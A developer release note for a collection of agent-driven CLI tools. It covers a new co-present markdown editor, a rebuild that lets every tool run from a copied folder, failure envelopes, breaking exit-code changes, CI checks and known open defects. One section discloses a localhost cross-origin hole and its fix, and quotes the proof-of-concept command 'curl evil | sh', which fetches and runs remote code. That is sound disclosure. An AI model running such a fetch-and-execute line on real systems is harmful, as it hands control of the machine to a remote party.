Scriptorium — edit documents with your agent — and every spell runs from a copied folder

[ichabodcole]

Why this release existed

Two things were true of v2.2.0 and are not true any more.

A spell was a folder you copied, and several of them did not work once copied.
Only a couple built; the rest shipped TypeScript under scripts/ and quietly
depended on a node_modules that existed only inside this repo. imago was the
clearest case: its daemon statically imported sharp, a native addon absent
from the shipped folder, so imago's daemon could not boot at an installed
destination at all, network or no network.

A spell's refusals were prose. An agent driving a spell had no field to
branch on — it had a sentence on stderr, sometimes JSON on stdout, and an exit
code that mostly meant "2". Eight CLIs disagreed with each other about what
failure looked like, and the disagreements were undocumented rather than chosen.

This release closes both, adds a ninth spell built that way from its first
commit, and — for the first time — puts a CI check on the pull request.

Scale, for calibration: 517 commits, 924 files, ~448k insertions, 2026-08-10
→ 2026-09-14.

---

The words this note leans on

A cold reader flagged these as the dangerous kind — ordinary English words that
mean something narrower here, so you can carry the wrong reading a long way
without noticing.

• spell — one tool in this collection: a CLI an agent drives, usually plus a
  browser page. Nine exist. A cantrip runs once and exits (digestify); a
  conjuration is a daemon you come back to (the other eight).
• surface — the browser page half of a spell, served by its daemon. "A built
  surface" is the bundle; "the surface shows it" is the page.
• board — any spell's surface, generically. bounty's happens to be a literal
  task board; the word is not about bounty.
• verb — a CLI subcommand (open, state, tail).
• envelope — the fixed JSON shape a failure arrives in (below). Not any
  response object.
• kind — the machine-readable field inside that envelope naming the failure
  class. The thing to branch on.
• choices — the set of tokens a rejected argument would have accepted. Not
  options offered to a human.
• taxonomy — the binding exit-code contract, not a classification essay.
• kit / the spine — src/kit/, the shared code all nine spells import.
  "Widening the kit" means adding to it so a second spell can use it.
• ward — a test asserting a property across the whole roster at once, rather
  than one spell's behaviour. cell — one individual test.
• census — a ward that enumerates a population and asserts on all of it.
• mutation — deliberately breaking code to check a test notices. Five
  instrument defects here were found that way.
• derived — computed from the real source of truth at run time rather than
  written down by hand. A stronger claim than it sounds: it means the thing
  cannot go stale.
• acc — agent-cli-conformance, a CLI-quality checker. Same author as
  this repo, not third-party validation. L0 is its baseline level;
  CONFORMANT / NOT CONFORMANT are its verdicts.
• co-present — human and agent working the same document at the same time,
  each seeing what the other does.

⚠ NINE AND EIGHT ARE BOTH RIGHT, AND THEY ARE DIFFERENT SETS. Nine
spells build. Eight ship as installable skills — mind-mapper has no
SKILL.md and is unlisted on purpose (see the end of this note). Where a count
below is eight, it is one of those two populations; where it is "eight of nine",
it is a spell-by-spell exception and the note says which spell.

---

The new spell: scriptorium

A co-present markdown editor. A human opens their real files in a browser
surface and edits them; the agent sits beside them, answers what they ask in the
app's own chat, and proposes changes as new version files the human takes or
leaves. It is a conjuration — a standing daemon, a surface, and a CLI.

The load-bearing rule, and the reason the spell is safe to point at real work:
the human's own file — the one they opened, at its original path — is written
by Save and nothing else. Plenty else is written: opening a document copies it
into the session as v1, and the agent writes any non-active version's file
with its own ordinary file tools (version-new prints the path), which the
surface shows immediately. Those all live inside the session. The original is
untouched until the human presses Save.

And writing the ACTIVE version — the buffer the human is typing in — is the one
move that is out of bounds. It is detected, kept as a version of its own, and
announced to both parties as a mistake. Nothing is lost, but somebody is told.

What shipped beyond that: the context sidebar with structure ops (create, move,
rename, hide, make-a-set, import, workspace) and its own undo; three view
modes with markdown rendering; version history with branching, deletion,
side-by-side compare and hunk-level merge; notes anchored to passages that
survive an edit or say they did not; chat carrying the human's selection
(document, version, line numbers) on every message; a work queue (task /
task-done) so a spinner is honest about what the agent is doing; OKF
frontmatter parsing with resolved document links and a set map; search across
the context and inside a document; and doctor, a startup check where every
finding names the verb that fixes it.

Two behaviours worth knowing before you drive it:

• Opening is lazy by design, and there is deliberately no open-document
  verb — you will look for one. open starts a session over files and
  folders, which puts them in the sidebar without opening any. A document opens
  when someone reaches for it: the human by clicking, the agent by naming its
  absolute path to version-new. Nothing is missing; the session is the
  unit.
• A waiting event arrives when a human message has sat 30 seconds with no
  reply. Answer with say, or working to say you are still on it. Once per
  message, never repeatedly.

Canon: plugins/spellbook/skills/scriptorium/SKILL.md (what the game is),
docs/architecture/spells/scriptorium.md (what is true, §2 is the invariant
table with the cell guarding each), docs/projects/scriptorium/decision-log.md
(why, E1–E62).

Two more of its guardrails: open admits only documents inside a context entry,
and save writes only what it opened. Its verify pass also found the defect
the next section is about — which turned out to affect every spell, not just
this one.

---

⛔ If you have ever run a spell, read this one

Every spell daemon used to accept a WebSocket and a POST from any web page you
happened to be browsing. A daemon binds 127.0.0.1:<port> and answered
whatever asked; new WebSocket("ws://127.0.0.1:<port>/ws") and a fetch POST
are ordinary same-machine requests, and the browser makes them from a page you
did not write. Scriptorium's verify pass built a working payload on 2026-09-11 —
a foreign page driving open then save to write curl evil | sh into a file
outside the session — closed it for scriptorium, and filed the rest.

All nine are closed in this release. One shared check
(src/kit/wire/origin.ts) called by every server: a request with no Origin is
the CLI and passes; one carrying our own page's origin passes; anything else is
refused 403. That works because only browsers send Origin — the user agent
sets it and a page cannot suppress it — so the rule needs no list of dangerous
routes to keep up to date.

Held by exhaustive cells on the check itself, real over-the-wire 403s in the four
spells that own a spawn harness (each paired with a cell proving the spell's own
page and the CLI still get through), and a ward holding all nine servers to
calling it. Driven in a browser against bounty: an attacker page on another
origin had its WebSocket refused and could not even read the 403 from /state
or /cmd, because a refusal carries no CORS headers.

⚠ It is not authentication. Anything on your machine that can omit a header
is unaffected — the CLI is exactly such a caller. It closes the browser-shaped
attack, which is the one you are exposed to by reading your mail.

⚠ And the backlog item's own severity line was wrong to be reassuring. It
read "state tampering, not file writes" for the other eight, asserted with no
evidence, in a document that had just demonstrated a file write on the ninth.
Nobody had checked. Moot now; recorded because the habit is not.

---

Every spell builds, and runs from a folder with no dependencies installed

All nine spells — astrolabe, bounty, digestify, glamour, grapevine, imago,
magpie, mind-mapper, scriptorium — now build both halves: a surface bundle
and the backend, emitted behind three-or-four-line launchers at the same
scripts/ paths the docs have always named. No backend RUNS from source any
more — every one executes a built artifact. It is not that the source is
absent: inline sourcemaps still carry the complete original TypeScript inside
each backend bundle, which is Cole's ruling and is discussed under the download
question. The population is derived, not hand-kept:
buildableSpells() in src/build.ts counts it and dist-roster-ward prints
it — do not maintain a list.

imago's daemon starts offline (sharp → Bun's built-in Bun.Image). Every port
was verified by copying only what ships to a path with no dependency on any
parent directory and driving the board in a browser.

Fixes that came out of doing it, each a thing a consumer could feel:

• magpie extract works again. It had been dead in the shipped plugin for
  eight days: bundling re-anchored import.meta.dir into dist/ while
  remove.py lives in scripts/, so every extract failed — including the
  default crop-only path — and answered {"ok":true,"cut":0,"failed":1} at
  exit 0, which is why nobody noticed.
• Your SSE tail stops dropping at ten seconds on glamour, imago and magpie.
  They ran a 15-second keepalive with Bun's 10-second default request timeout
  and no idleTimeout; the heartbeat arrived five seconds after the thing it
  was keeping alive.
• A daemon with a listener attached is no longer killed under it (astrolabe,
  magpie, imago), and an imago /state poll no longer keeps a dead session
  alive forever.
• A bounty daemon always ends. Its shutdown watchdog — the corpus's only
  unconditional termination guarantee — was armed on one of four teardown paths.
  Measured with a planted hang, three paths ran past ten seconds; all four now
  die at ~2 s.
• glamour's tail stops hammering a dead daemon: 51–56 reconnects in 14 s at
  a flat ~252 ms became 6–7, at 252 · 503 · 1001 · 2002 · 4002 ms, capped.
• An astrolabe tail survives a daemon restart with events, not just with a
  connection. The event log stamps an epoch; a kill -9 plus respawn produces
  an {"type":"epoch.changed",…} frame before the new ready.
• A transient read error stops looking like a clean end of watch.
  readSession in bounty, imago and magpie swallowed every error as "no
  session", so a momentary read failure told an agent the session had gone away
  and exited a tail loop at 0. Only ENOENT means absence now, and the
  session-pointer write is atomic.
• No daemon serves its own source. Moving backends into dist/ put them in
  the served directory: eleven of the emitted backend files — a spell emits a
  cli and usually a server, so nine spells make more than nine — answered 200
  with their committed artifact, inline sourcemaps and all. bounty's cli.js
  handed back a 152 KB base64 map whose first sourcesContent entry is cli.ts,
  complete from its shebang. The served set is now derived from what the built index.html
  actually links, transitively, with exact-match membership, so the refusal is
  case-insensitive by construction (GET /INDEX.HTML used to serve the
  unsubstituted page).
• No spell floods on a mistyped knob. *_HEARTBEAT_MS=1e9 parsed to 1 and
  produced 767 keepalive comments per second into every SSE client. The floor
  landed in the kit, where four spells derive their beat.

---

Failures an agent can route on

Every failure on eight of the nine CLIs is one JSON envelope on stderr with
stdout empty:

{ok:false, error:{kind, exit_code, retryable, message, hint?, choices?, server?}, meta:{command}}

under the taxonomy usage 2 · internal 1 · not_found 5 · conflict 6. Branch
on kind, never on the message text. A refusing daemon's own body is carried
verbatim under error.server. grapevine is partly converted — the four parser
rejections an agent meets first, plus its lifecycle refusals, speak the
envelope; older prose errors predate the contract.

choices — the field an agent actually routes on — is now published, and it is
derived rather than typed. It was absent from five of the eight spells that
existed then (scriptorium
came later and was born with it) while
hint, prose for a human, was nearly everywhere; nineteen rejections gained it.
The sets come from the object the parser accepts (CLI_OPTIONS lifted out of
every parseArgs call), not from a hand-written list, because a list that
drifts from the dispatch table is worse than none — an agent would route on it.
astrolabe's unknown-verb rejection now answers with all fourteen verbs. Two
spells had each grown a hand-kept flag roster inside a message string; both
were moved, not copied. Guarded by a three-arm census — no accepted set spelled
as prose, the root and per-verb sets driven through the shipped launcher, and
sites-plus-choices per spell at exact equality.

The rule was narrowed five times from evidence, and the narrowings are the part
worth knowing: a closed set qualifies only if it is in hand at the raise (a
refusal relayed from a daemon carries server instead, because a CLI-side copy
is exactly the drift the rule forbids); a two-member floor, since
choices:["--path"] is not a choice; command tokens only, since an env var name
is a choice nobody can type; enumerated positionals qualify and free-text ones
never.

---

⚠ Read this if you drive a spell from a script

"No session" moved from exit 2 to exit 5 on three more spells — glamour,
imago and bounty — joining magpie and mind-mapper, which had already moved. A
script branching on exit == 2 for that case is now wrong on five.

bounty's cooperative refusals moved off exit 1, which under the house
taxonomy means the spell broke. Before: prose on stderr, legacy
{"ok":false,"applied":false,…} on stdout, exit 1. Now: stdout empty, one
envelope on stderr, applied:false inside error.server.

bounty situation	was	now
add with a duplicate --id	1	6 conflict
claim a task someone else owns	1	6 conflict
block that would form a cycle	1	6 conflict
block --on <ghost>, update/remove/unblock a ghost id	1	5 not_found
init / close refused by the daemon	1	6, or the daemon's own kind

A refusal arriving with no kind degrades to conflict — the genus — never to
internal. One deliberate exception: bounty open's attach refusal keeps
exit 2 and keeps printing the live board's discovery JSON (url, port,
session_id, restoreSkipped) on stdout. It is the one refusal carrying a
data payload; recognise it by restoreSkipped.requested.

grapevine: a read verb no longer creates a channel. pull, read, wait,
triage and a bare topic <name> now 404 on a channel that does not exist.
They used to silently rebuild a channel a human had just closed — empty,
file-less, back in list, answering {"ok":true,"messages":[]} forever with no
way to discover why. open, tail, watch, send, announce, mark and
topic <name> <text> still create: only an act declaring intent does. The guard
is in the daemon, not just the CLI, because the read routes resurrected on their
own. Breaking if you read before you open, and it fails loudly the first time.
grapevine's SKILL.md carries this as its V2.2 banner. Also: pull on a
missing channel 2 → 5, send to an archived channel 2 → 6. ⚠ This is in the
breaking list because it breaks scripts, not because anything got worse — the
old behaviour silently resurrected channels a human had deliberately closed and
answered {"ok":true} about them forever.

mind-mapper's event cursor field is id, not seq — on the wire and in
every JSONL line tail writes into an agent's pipe. Its keepalive comment is
: hb, not : keepalive. Its exit codes moved too (needs-project and the 409
family 2 → 6, unknown entity → 5).

--timeout 0 reversed meaning. On magpie it used to exit 124 "timeout" on
the first tick even with a live tail attached; on bounty it closed an unwatched
board on the first tick. Both were accidents of a >= comparison. Now a
non-positive --timeout means the daemon never idle-closes. And within its
documented range on magpie, --timeout changed meaning: it used to be "the
longest this daemon may sit idle while connected" and is now "linger this long
after the last subscriber leaves" (shouldIdleClose returns false while
subscriberCount > 0). An agent holding a tail on a quiet magpie session used
to be killed at the 30-minute floor. ⛔ Neither magpie's nor bounty's
SKILL.md documents what --timeout 0 means, before or after — a flag whose
meaning was reversed is undocumented in both spells that changed. ⚠ And note that
"never idle-closes" is the INTENDED reading of an explicit non-positive
--timeout, while the open A9 defect below reaches the same outcome by accident:
a non-numeric --timeout parses to NaN and is neither refused nor reported.
The defect there is the missing usage error, not the lingering.

Other wire changes, named rather than smuggled:

• The SSE stream opens with a : connected comment on astrolabe, magpie,
  glamour and bounty, so a quiet stream flushes headers and leaves no fetch()
  unresolved. A client reading line 0 rather than the first frame breaks;
  every house tail client drops : lines.
• bounty's connected / disconnected presence frames left the replay log.
  They are live-only and no longer carry an id. A tail at --since 0 used
  to replay the whole browser-presence history, each frame advancing the agent's
  cursor.
• imago's proposal.send / proposal.dismiss put the proposal id in the
  frame's id field — which is the tail cursor — so ev.id > since compared a
  string and those frames were never replayed at all. The cursor is the
  cursor now and the proposal rides beside it as proposalId, on the wire,
  in the shipped types and in the SKILL.
• A bare invocation is a usage error (exit 2, stdout empty, usage on stderr)
  on grapevine, magpie and glamour, where it previously exited 0 — a success
  exit for a command that did nothing, which is the shape an agent cannot
  detect. Breaking for a script that relied on it; a correctness fix otherwise.
  help / --help remains the help path at exit 0.
• Unknown flags are rejected rather than accepted and ignored, and flags
  are scoped to their verb. On grapevine all 26 flags previously parsed on
  every verb. A recognised flag on the wrong verb is refused as MISPLACED with
  that verb's flags as choices.
• .html is served as text/html; charset=utf-8.
• --version / -V / version answers on the six spells whose CLIs were
  brought up to the acc baseline — astrolabe, glamour, grapevine, magpie,
  mind-mapper, scriptorium. It does not answer on bounty, imago or digestify.
  (Not "the spells acc has looked at" — bounty was graded, and failed; see the
  acc limit below.)

One human affordance was removed. grapevine's watch surface no longer has a
per-row 🗑 button; closing a channel is reached through a right-click context
menu on the rail row, alongside Edit topic and Archive / Unarchive. Deliberate —
the menu is the one path — but old muscle memory will not find the button.

---

Three surfaces were rewritten, and look different

grapevine's watch surface (was ~1,000 lines of hand-written HTML), bounty's
board (1,003) and digestify's review page (1,505) are now component-oriented
React surfaces on the house token layer. There is no CDN surface left anywhere
in the tree.

Ruled behaviour-faithful, restyled (Cole, 2026-09-06): same routes, same
frames, same features, same failure handling. Each was verified against a
behaviour inventory extracted from the old page — 72 rows for bounty's board,
115 for digestify's review page — then driven by the author and again by an
independent agent at the keyboard. ⚠ grapevine's rewrite predates the inventory
practice and was driven without one, so its faithfulness rests on the two
drives alone. They are not pixel-identical and were never meant to be.
digestify's three themes —
digestify, cthulhu, classic — all survive tokenized, each asserted by name.

bounty's board stopped being two implementations of itself. Its predicates —
cardPassesFilter, cardOverdue, ownersOverWip, expectedMinutes — were
tested in server.ts and hand-mirrored in Alpine with nothing guarding the
pair. That drift is how restoreFailed once shipped emitted-at-five-sites and
rendered-at-zero for a full release. One implementation now, imported by the
daemon and the surface alike.

New human-facing capability alongside it: grapevine's watch surface does to a
channel what the CLI does — create, edit a topic inline or from the menu,
archive and unarchive, hide archived channels behind a switch. Typing an
archived name into Create gets the daemon's 409 explained, with Unarchive
offered. Topic editing is disabled with a stated reason rather than silently
inert. And grapevine tells you when it made the channel — a tail that
created one says so on the subscribed event and in the CLI's grounding line,
so tailing a mistyped name is visible instead of looking like a quiet channel.
Archive/unarchive append a persisted kind:"status" frame that pull replays
and triage skips.

bounty tells you when a restore failed. restoreFailed ({path, reason})
is on the open envelope and the daemon boot log, and is a different situation
from restoreSkipped: skipped means never attempted (fix your command), failed
means attempted and the snapshot could not be read (the board comes up empty and
your snapshot is the damaged thing).

grapevine schema and glamour schema emit each CLI's own interface
description, generated from the same registry that drives dispatch, so they
cannot drift from the parser. scriptorium ships one too.

---

If you extend this repo

There is a shared spine. src/kit/wire/ holds tailEvents, errors,
serveDist, eventLog, sse, housekeeping, discovery, heartbeat; plus
src/kit/{lib,ui,theme}. Six of the eight wire concerns now have one
implementation instead of six or seven. The retired defects had stood in five to
seven copies each: no idle watchdog; a backoff that never grew on a body-less
response; spec-legal data: frames dropped without advancing the cursor; a
cursor that assigned rather than taking a max; and a backoff reset placed after
a successful open, so a connection that opened and yielded nothing reset it —
a constant-interval reconnect storm by another door, measured at a flat 41 ms.

The kit was widened twice and refused three times, and the refusals are the
precedent. glamour needed the error contract to carry a daemon's response body
and an SSE client entry that could be spoken to, not just closed — both widened,
because a module extracted from two consumers encodes only what those two agree
on. Then imago, bounty and digestify needed nothing widened, and glamour's
client.send covered both imago's and bounty's cases at zero cost. grapevine is
the refusal: eventLog (one capped in-memory array against N durable per-channel
logs), sse (a Set<{close,send}> against a Map whose alias/human/lurk six
routes read) and half of housekeeping are REJECT-STRUCTURAL there. The kit
was not widened for it; each refusal is written both in a journal row and in the
kit module's own header.

Two playbooks, and they are the operative documents:

• docs/playbooks/porting-a-spell-playbook.md — how to move an existing spell
  onto the build. Written from glamour's failures, then amended at every
  subsequent port with the places it was not enough (seven gaps at imago, six at
  bounty, six at digestify).
• docs/playbooks/scaffolding-a-spell-playbook.md — how a spell starts on
  the build. This closed a real defect: ward's "Inscribing a new spell"
  checklist said a spell folder is SKILL.md + scripts/ + assets/ — no
  src/, no launcher, no dist/, no build. A spell created by following our own
  checklist would have been born source-shipped. Every rule in it is grounded in
  a count against the existing roster; seven rules could not be grounded and
  are marked UNVALIDATED, awaiting their first real spell. A scaffold script is
  ruled NOT YET, with its condition named.
• docs/architecture/spell-backend-architecture.md (§1–§7) — the shape each
  spell has. Its companion is
  docs/architecture/house-conformance-register.md — where the spells do not
  yet agree, each row recorded at the moment it was chosen. Read the open count
  off the register, never off a release note.

Two traps for anyone adding to the kit:

1. If you adopt a kit component you must also import the kit stylesheet.
   Importing only the component ships it with none of its utilities, silently,
   and everything stays green.
2. Words in kit comments are content sources for every spell's stylesheet,
   because base.css puts the whole kit tree in front of Tailwind. A sentence in
   a kit module's header emitted .grow{flex-grow:1} into four unrelated spells'
   stylesheets. The kit-prose ward exists for this.

---

What is now checked, and four things that check does not mean

The repo gains its first CI check, named gate, on every pull request:
build, lint, full test suite, then dist-check — a rebuild-and-diff proving each
committed dist/ matches its own committed source. bun test on this tree is
2,524 pass / 0 fail, 7,832 expect() calls across 191 files (measured at the
develop tip, 2026-09-14; the smaller figures inside individual merge commits
were true at their own commits). ⚠ Read that number with the second limit
below attached: none of it asserts that a board works. The count is what a
reader remembers; the disclaimer is the part that matters.

The rebuild arm exists because a stale build artifact produces a working
board — the daemon serves the previous build — so it is invisible to tests, to
the linter, to a browser drive and to a reviewer. One had already slipped onto
develop and was caught by hand.

⛔ Its first two runs on this very PR both failed, and that is the argument for it

Both failures were invisible to every local check by construction, which is
the case for CI that no amount of discipline substitutes for.

Run 1 — the gate had been green on one laptop.
scripts/instruments/type-sentinel-probe.ts imported TypeScript through an
absolute path into one checkout, so tsc --noEmit was clean there and TS2307
everywhere else. The file had declared its machine-binding as deliberate — a
corpse kept for its verdict that "nobody should be running in CI or on a fresh
clone" — and that was true when written. Four days later the typecheck gate was
ruled in and scripts/ became a measured area, so something started reading it.
"This file is exempt because nobody runs it" stops being true the moment
something starts reading it, and nothing tells you when that happens. Fixed by
making the paths portable, not by adding a tsconfig exclude — an exclude is
precisely what the coverage arm exists to defeat.

Run 2 — a committed artifact built against a dependency tree that existed on
no other machine. A gitignored src/scriptorium/node_modules/ held
@base-ui/react@1.8.0 and shadowed the root install's 1.6.0 for scriptorium's
build alone: 105 extra modules, 185,688 extra bytes, a different content hash.
Nothing declared 1.8.0 — not the root manifest, not the spell's own. So
scriptorium had silently been on 1.8 while the other five @base-ui consumers
and the kit were on 1.6, a version split nobody chose and no reviewer could
see, and dist/ being committed meant the phantom build was reviewed and
merged. Diagnosed by reproducing CI — clone, frozen install, rebuild, diff the
bundles' module banners — after four wrong theories. Rebuilt against the declared
1.6.0; the 1.8 bump is filed as its own pass, because a root bump moves six
spells' surfaces.

⚠ Read the second one against the first limit below. A check that catches a
phantom-dependency build and a one-machine green, on its first two outings, is
not yet allowed to block a merge.

The instruments also gained a scope rule that closed a real hole:
correctness/noUndeclaredVariables in biome.json, with Bun declared as a
global. It is error by default and not in recommended, which is why it
was off. Driven end to end: an undefined identifier on an uncovered path gave
bun run build exit 0, bun run check exit 0 and the whole suite passing, while
shipping a latent ReferenceError into the committed artifact that reaches a
caller as {"kind":"internal","exit_code":1}. tsc was deliberately not
added — 584 pre-existing errors, and a typecheck gate is a standing ruling from
spell-hardening sprint 05 that this does not re-litigate.

Four limits, stated plainly:

• gate has to be marked required in GitHub's settings, and no agent can do
  that. Until a human does, a red gate does not block a merge. Filed:
  docs/backlog/2026-08-31-the-pr-check-must-be-marked-required.md. ⚠ The
  workflow file's own header asserts "a ruleset on main requires a status
  check named gate" — nothing in this tree can confirm it. Treat that
  sentence as an instruction to a human, not a statement of fact.
• None of it asserts that a board works. These checks prove dist/ is the
  faithful build of its committed source; they say nothing about whether that
  source is correct. The install simulation that proved the ported spells run is
  a manual recipe run by hand, not a script in the gate.
• Nothing re-runs acc — not package.json, not the workflow, not the
  pre-commit hook. Five spells carry an acc.config.json — astrolabe,
  glamour, magpie, mind-mapper, scriptorium — and a sixth, grapevine, has a
  recorded CONFORMANT (L0) verdict while shipping no config. Every one of those
  verdicts is a point-in-time run by a human, not a standing property.
  glamour's is the only one re-run after its port. That ordering was an
  explicit acceptance criterion and is the reason glamour's result means
  anything — which is the same fact read the other way: five of the six
  verdicts predate the change most likely to have broken them. bounty is on
  record NOT CONFORMANT (3 core violated, 2026-08-24) and took the most
  invasive contract change of this cycle with no re-grade. imago and digestify
  are ungraded. And acc is
  git+github.com/ichabodcole/agent-cli-conformance — the same author's repo,
  not third-party validation. (A cold reader took it as third-party, unprompted.)
• The gate reports what it cannot see, out loud. Of 631 hand-authored
  files, bun run check reads 591, deliberately skips 11 as docs, and is
  blind to 29 — 2,342 lines (largest: three spells' styles.css). Those
  three numbers add up on purpose and the instrument prints all of them
  (scripts/instruments/gate-blind-set.ts); an earlier draft of this note
  omitted the 11, which makes a careful reader compute 40 and find a
  contradiction that is not there. The roster-drift ward asserts over 8 of the
  9 spell folders, mind-mapper excluded by ruling.

Five instrument defects were found by mutation rather than by reading. The
two worth a release note are here; the other three are in the convergence's
decision log. One undercut a ruling that closed a project:
daemon-lifecycle-ward's idleTimeout clause was satisfied by a comment —
delete glamour's real setting and the ward stayed green, shielded by prose eight
lines away that spells the same word with a colon. Both enumerators now produce
comment-stripped code on the row, so a fourth clause cannot be written against
prose. Separately, spawn-path-ward had lost real coverage the convergence
itself caused: sharing serveFromDist moved every adopter's dist/ reads behind
a parameter, so 32 in-kit reads across 8 emitted artifacts fell out of every
coverage row and six of eight named dist/ nowhere. The call site is the pin
now. A backstop computed from the same predicate it backstops is not a
backstop.

---

The download question, and the number moved again

The shipped plugin goes from 5.59 MiB to 19.98 MiB (5,863,592 →
20,954,548 bytes, summing git blob sizes under plugins/spellbook). Tracked
files fall from 251 to 110.

spell	v2.2.0	here
scriptorium	—	3.82 MiB
mind-mapper	3.00 MiB	3.22 MiB
grapevine	303 KiB	2.31 MiB
digestify	610 KiB	2.18 MiB
bounty	510 KiB	2.03 MiB
magpie	436 KiB	1.78 MiB
imago	471 KiB	1.74 MiB
glamour	189 KiB	1.51 MiB
astrolabe	136 KiB	1.39 MiB

That is React, Tailwind and a bundled backend inside each spell's chunks, which
is what makes a dependency-free destination possible. ⚠ But not all of it is
the capability, and the aphorism that used to close this sentence was wrong:
83–86% of every backend artifact is an inline sourcemap, and a sourcemap is
not what makes a spell run anywhere. It is a deliberate choice (lever 2 below)
and the largest single removable share of the increase.

Stylesheets are a separate framing: v2.2.0
shipped exactly one compiled stylesheet (mind-mapper's, 165,575 B); this
ships nine, because eight more spells now have one. Scoping each spell's
Tailwind content scan to its own surface — a bare @import "tailwindcss" roots
it at the build's working directory, so every spell's stylesheet was compiled out
of every other spell's prose — cut mind-mapper's from 165,575 to ~67,000 B
(−59%) with zero classes lost.

Cole has ruled: deferred, measured (register D7, 2026-09-09). Three
independent levers, none taken here. (1) --minify the surfaces: 13.21 → 7.25
MiB raw, but git stores blobs compressed, so a clone pays the gzip column —
~21%. ⛔ Before switching it on, calibrate every instrument that reads emitted
artifacts as text (spawn-path ward anchor spellings, launcher-pairing ward
import specifiers, exit-site-inventory) against a minified bundle; identifier
renaming is exactly the input those wards have never seen. (2) Drop the
backends' inline sourcemaps: 83–86% of every backend artifact, 1.78 MiB across
eleven files — but sourcemap:"inline" is Cole's ruling, made knowing it
embeds the complete original TypeScript. That is a decision about whether a
shipped backend carries its source, not a size fix. (3) CSS is negligible.
Nothing lets a consumer take a subset — the marketplace clones the whole
plugins/spellbook subtree, all-or-nothing by construction
(docs/backlog/2026-09-02-what-a-consumer-receives-per-spell.md).

---

What this deliberately does not reach

The spells still do not fully agree with each other, and the inventory of
where is docs/architecture/house-conformance-register.md. Read the open
count off the register rather than from here — its last recount was
2026-09-10, before scriptorium landed, so any number quoted here would be stale
on arrival. Scriptorium has never been reconciled against a
single row, and the register's header now says so. It is a living
architecture document precisely so these are decisions rather than omissions. The
ones a caller can feel:

• imago and bounty adopted the failure contract with no test guarding it and
  no acc grade (A5). Nothing in the gate would say if it regressed.
• imago info against a dead daemon exits 0 with a stale pointer on stdout —
  a third failure shape nobody named (A8).
• astrolabe close can exit 0 while carrying an error envelope
  ({ok:true, applied:false, error:"no daemon running"} — mis-shaped on both
  axes), because it is the one command calling postCmd directly and bypassing
  the die-on-error discipline. No test asserts either the current behaviour
  or the corrected one (A12).
• A non-numeric --timeout parses to NaN on magpie and bounty, so the
  daemon never idle-closes — silently, with no refusal (A9). Numeric flags are
  not validated at the parse generally: --port notanumber becomes NaN, the
  bind refuses it, and you get exit 6 conflict for a usage error (C6).
• bounty's join.ts reuses exit 2 for two things — usage, and
  ended-by-error — distinguished by channel rather than by number (A3).
• Teardown order diverges between glamour and imago, so a CLI verb issued
  during imago's 150 ms grace can still find the session (A6).
• A real flag can still be silently swallowed as a positional after a --.
  On bounty this is worse than silent: a --session-key placed after -- is
  eaten and the write lands on whatever board the ambient environment resolves
  to. Correct form: bounty add --session-key K -- "text".

The daemon-restart gap is narrowed, not closed (B1/B2). Replay triggers only
when the tail's cursor is strictly greater than the daemon's, so a tail that
has seen exactly ready reconnects at equality and is connected-and-silent —
the ordinary state of a quiet board. It self-heals on the first real event, and
develop was silent after every restart, so this is strictly better. The
one-line >= is recorded as the wrong repair. Four of six createEventLog
adopters stamp no epoch, each by ruling, so the client's epochOf /
onEpochChange hook is inert for them; grapevine's refusal is deliberate —
its ids are recovered from the durable .jsonl and survive a restart, so an
epoch plus tailEvents would replay every message of every tailed channel into
an agent's pipe.

The most severe known defect is unchanged and still unfixed. bounty update --stdin destroys the task's title, at {"ok":true}, with valuesIgnored
reporting null — a false negative on a destroyed field. The precise framing
matters, because the loose one ("it writes notes to the title") was withdrawn on
the backlog item itself: --stdin replaces the verb's positional argument, and
that rule holds everywhere. update's only positional is <id>, so --stdin
has no natural referent and resolves to --title, overriding an explicit
--title silently. The code is untouched; bounty's SKILL.md has carried a
prominent warning since 2026-08-11. Use --notes.

Also open and unfixed: bounty tail against a target it cannot resolve retries
forever at exit 0 while looking alive (GitHub #98 — an inbound issue;
another team is waiting on it). The port made this sharper rather than fixing it:
the shared tail client now offers the distinction — onUnresolved receives
{everResolved, everConnected} and may return "stop" — and glamour, imago and
magpie all use it. bounty is the only consumer that ignores it and always
returns "retry" (A11).

The sprint scoped to drain this queue — spell-hardening 06, "Filed is not
fixed" — is still a scaffold with no branch cut. An earlier merge commit said
the gate work and the fix queue would "ship together". That has not held for a
month (sprint 05 merged 2026-08-10), and this release ships without the
fixes — a decision, not an oversight, and the cost of continuing to wait has
grown by an order of magnitude since the promise was made.

mind-mapper is not a released spell. It ships files and a dist/ (3.22 MiB,
about a sixth of the plugin) but has no SKILL.md and is absent from every
listing on purpose — it is unfinished, and Cole ruled that a spell which has not
coalesced should not claim a roster slot. Nothing here changes that.

Scriptorium's own named absences are in
docs/architecture/spells/scriptorium.md §9: no single shared undo timeline for
committed acts (three timelines exist; E28's is not among them), relative images
do not load, raw and rendered panes do not scroll together, batch notes and
saved prompts deferred pending real use. (Its ninth entry — the WebSocket-origin
fix not yet carried to the other eight daemons — is closed in this release; see
the section near the top.)

Four stale documents were found by writing this note and are fixed in it
(30712847), which is the whole reason the reconstruction is done by an agent
that did not do the work. The roster README a consumer reads still said "no
cross-spell imports, no build step" over a pre-convergence anatomy — the fourth
document in a class three others were repaired in on 2026-09-10. PROJECT-SUMMARY
undercounted the roster on a line that literally read "this line has now gone
stale three times … so do not hand-keep it"; the count is gone rather than
corrected. The conformance register's "eight spells" meant a different eight from
the README's. And scriptorium's architecture doc filed the origin hole under its
own absences, where it read as though scriptorium shipped it.

⚠ What that says about this note. Every number here was re-measured at the
develop tip rather than inherited, because the previous release draft was
written the same careful way and then went 186 commits stale, asserting
things that had become false in the direction of understating what shipped. The
register calls this D4: nothing connects the tree to a release note, so a note is
a snapshot with no mechanism that reddens when the tree moves past it. It has now
happened three times. Re-measure before quoting anything above.